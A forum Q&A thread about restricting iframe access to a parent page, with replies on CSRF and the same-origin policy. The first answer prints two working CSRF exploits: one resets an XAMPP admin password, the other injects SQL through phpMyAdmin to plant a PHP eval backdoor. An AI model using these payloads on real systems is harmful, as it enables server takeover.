Question

Is there a way to restrict what an iframe is allowed to do in the parent? What I am looking for is a security model surrounding Javascript that looks something like:

...
<script type="text/javascript" src="jquery-1.3.2.min.js"></script>
<script type="text/javascript">
function AllowedToAccess()
{
}

function NotAllowedToAccess()
{
}
</script>
<security>
iframe {
  Deny All;
  Allow javascript:AllowedToAccess();
}

iframe script.untrusted {
  Deny All;
}
</security>
<iframe src="trusted.html"></iframe>
<iframe src="http://www.somesite.com/trusted.html"></iframe>
...

Both trusted.html s looks like:

<html><body>
<script type="text/javascript">
function InternalCall()
{
  window.parent.AllowedToAccess();
}

function InternalCall2()
{
  window.parent.NotAllowedToAccess();
}
</script>
<security>
javascript:window.parent {
  Allow javascript:document.body.offsetHeight;
  Allow javascript:document.title;
}

script.untrusted {
  Deny All;
}
</security>
<script type="text/javascript">
window.parent.AllowedToAccess();
InternalCall();
</script>
<script type="text/javascript" src="http://www.anothersite.com/untrusted.js" secclass="untrusted"></script>
<script type="text/javascript">
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(window.parent.body).append( <div id="badid"></div> );
window.parent.jQuery( #badid ).load( SomethingIShouldnt.php );
</script>
</body>
</html>

And SomethingIShouldnt.php looks like:

NotAllowedToAccess();

And untrusted.js looks like:

window.parent.AllowedToAccess();
InternalCall();
window.parent.NotAllowedToAccess();
InternalCall2();
window.parent.jQuery(body).append( <div id="badid"></div> );
window.parent.jQuery( #badid ).load( SomethingIShouldn t.php );

(Uh...sorry about going overkill.)

You will note the non-existent security tag in the HTML code. I was thinking something along the lines of CSS selector-ish declarations with some Apache-like security syntax mixed in to define rules. (I didn t utilize the window.parent rules, but it hopefully demonstrates a decent workaround to browsers blocking cross-site scripting that really is quite frustrating to work with - "I trust the parent window to access only the height of my window and the title"). I am hoping something like this already exists in some form (even a draft spec). But I m afraid the answer will be no .

Can this be done (even partially)? If not, then who do I need to talk to so that something like this gets implemented (Standards committee or browser implementers)? Assuming, of course, this even makes any sense?

Answer 1

The short answer is no, XSRF has nothing to do with iframes.

It doesn t matter if the forged request originates from an iframe. The forged request must originate from another server in order for an attacker to exploit it. Hackers user iframes because they can be useful for forging post requests in an XSRF exploit because the exploit must use javascript to automatically submit a forum . Here is a real world XSRF exploit I wrote against XAMPP which changes the administrative password. Its best to execute this javascript/html in an iframe so it is invisible to the victim, but this exploit could just redirect the whole window without an iframe and it will still change the Admin s password.

<html>
 <form action= http://10.1.1.10/security/xamppsecurity.php  method= POST  id=1>
           <input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
  <input type=hidden name="xamppuser" value=admin >
  <input type=hidden name="xampppasswd" value=password>
  <input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
  <input type=submit>
 </form>
</html>
<script>
 document.getElementById(1).submit();
</script>

But if the XSRF attack is GET based, then an iframe doesn t help an attacker. Its better to use an img tag to automatically send the forged request on the victims browser. Here is another exploit of mine which was written for phpMyAdmin 3.1.0. This uploads a php backdoor in the web root. This exploit is awesome because it works with noscript enabled and affects a TON of systems.

<html>
<img src="http://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1">
</html>

Answer 2

You can use the Same Origin Policy(SOP) to your advantage.

Set the iframe src to either a different port, subdomain or domain, and the iframe will not be able to access the parent content.

ie: for the page

http://www.mydomain.com/mypage.html

and for the iframe, one of the following

http://www.mydomain.com:4255/iframeSrc.html
http://secure.mydomain.com/iframeSrc.html
http://www.secure-mydomain.com/iframeSrc.html

But this won t prevent CSRF if you rely only on a cookie available in your page.
If someone knows how to POST a request on your server, he will be able to do it.

The easiest way to prevent this is to have in your page a javascript variable(inaccessible from the iframe by the SOP) that you pass for each of your request.

Something that may interest you, and sorry for the spam, as I already posted today on SO something about it, we use an iframe to sandbox JSONP calls, but to enable a secured string communication between them.

Here is the description of how it work, and there is a demo page to see it running.

友情链接